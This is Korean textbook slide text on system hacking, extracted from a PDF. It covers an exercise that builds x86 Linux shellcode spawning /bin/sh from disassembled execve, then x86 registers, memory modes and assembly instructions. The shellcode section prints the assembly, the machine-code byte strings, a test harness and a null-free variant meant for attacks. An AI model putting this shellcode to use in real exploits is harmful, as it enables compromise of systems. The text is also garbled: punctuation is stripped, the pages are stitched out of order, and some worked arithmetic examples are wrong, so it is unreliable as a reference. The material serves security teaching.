스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 14: 80×86  시스템에 대한 이해

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

